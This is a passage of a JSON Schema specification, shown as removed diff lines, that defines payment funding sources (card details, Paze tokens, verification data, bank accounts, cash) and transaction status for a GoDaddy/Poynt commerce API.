"type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." - }, - "LegacyCardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "LegacyCardKeyData": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - }, - "LegacyCardType": { - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - } - }, - "properties": { - "cardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] - }, - "cardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "cardHolderFullName": { - "type": "string", - "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 - }, - "cardId": { - "type": "string", - "description": "The uuid of the card created" - }, - "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." - }, - "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." - }, - "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." - }, - "id": { - "type": "integer", - "description": "The id of the card created." - }, - "issuer": { - "type": "string" - }, - "key": { - "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - } - }, - "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." - }, - "numberHashed": { - "type": "string" - }, - "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." - }, - "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - } - } - } - }, - "required": [ - "type", - "number", - "source" - ] - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/paze-token.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Paze payment Token", - "description": "Paze Funding source", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Token Funding Source", - "type": "object", - "description": "Payment Token Funding source", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", - "description": "Verification data for the card used as funding source", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", - "description": "Verification data for the token used as funding source", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Paze payment token", - "writeOnly": true, - "x-sensitivity": { - "classification": "restricted" - }, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - }, - "cardDetail": { - "description": "Card that was used with the Paze payment token", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", - "$defs": { - "LegacyCardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "LegacyCardAgreementMetadata": { - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." - }, - "LegacyCardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "LegacyCardKeyData": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - }, - "LegacyCardType": { - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - } - }, - "properties": { - "cardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] - }, - "cardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "cardHolderFullName": { - "type": "string", - "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 - }, - "cardId": { - "type": "string", - "description": "The uuid of the card created" - }, - "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." - }, - "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." - }, - "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." - }, - "id": { - "type": "integer", - "description": "The id of the card created." - }, - "issuer": { - "type": "string" - }, - "key": { - "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - } - }, - "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." - }, - "numberHashed": { - "type": "string" - }, - "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." - }, - "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - } - } - } - }, - "required": [ - "type", - "number", - "source" - ] - } - } - }, - { - "$id": "https://poynt.godaddy.com/schemas/funding-source/bank-account.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "title": "Bank Account", - "$defs": { - "BankAccountType": { - "type": "string", - "enum": [ - "CHECKING", - "SAVINGS" - ] - }, - "BankAccountHolderType": { - "type": "string", - "enum": [ - "PERSONAL", - "BUSINESS" - ] - } - }, - "type": "object", - "properties": { - "accountNumber": { - "type": "string" - }, - "accountNumberLastFour": { - "type": "string" - }, - "accountType": { - "description": "Enum: CHECKING, SAVINGS.", - "type": "string", - "enum": [ - "CHECKING", - "SAVINGS" - ] - }, - "bankName": { - "type": "string" - }, - "country": { - "type": "string" - }, - "currency": { - "type": "string" - }, - "ownerName": { - "type": "string", - "description": "The owner name of bank account." - }, - "routingNumber": { - "type": "string" - }, - "accountHolderType": { - "description": "Enum: PERSONAL, BUSINESS.", - "type": "string", - "enum": [ - "PERSONAL", - "BUSINESS" - ] - } - }, - "description": "This object represents BankAccount." - }, - { - "$id": "https://poynt.godaddy.com/schemas/funding-source/custom-funding-source.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "title": "Custom Funding source", - "description": "Funding source that can be processed using a specific provider and / or processor", - "type": "object", - "properties": { - "provider": { - "type": "string", - "description": "Provider that can handle the funding source", - "maxLength": 64 - }, - "processor": { - "type": "string", - "description": "Processor to be used for the funding source", - "maxLength": 64 - }, - "customFundingType": { - "type": "string", - "description": "Type of the custom funding source", - "maxLength": 64 - }, - "name": { - "type": "string", - "description": "Display name of the funding source", - "maxLength": 64 - }, - "description": { - "type": "string", - "description": "Description about the funding source", - "maxLength": 512 - } - }, - "required": [ - "customFundingType", - "provider" - ] - }, - { - "$id": "https://poynt.godaddy.com/schemas/funding-source/cash.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "title": "Cash Funding Source", - "type": "object", - "properties": null, - "description": "Cash funding source" - } - ], - "discriminator": { - "propertyName": "sourceType", - "mapping": { - "PAYMENT_CARD": "./PaymentCard.yaml", - "EBT_CARD": "./EBTCard.yaml", - "GODADDY": "../payment-token/GoDaddyPaymentToken.yaml", - "APPLE_PAY": "../payment-token/ApplePayPaymentToken.yaml", - "GOOGLE_PAY": "../payment-token/GooglePayPaymentToken.yaml", - "PAZE": "../payment-token/PazePaymentToken.yaml", - "BANK_ACCOUNT": "./BankAccount.yaml", - "CUSTOM": "./CustomFundingSource.yaml", - "CASH": "./Cash.yaml" - } - }, - "properties": { - "sourceType": { - "type": "string", - "description": "Discriminator field representing the type of Funding source" - } - }, - "required": [ - "sourceType" - ] - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - 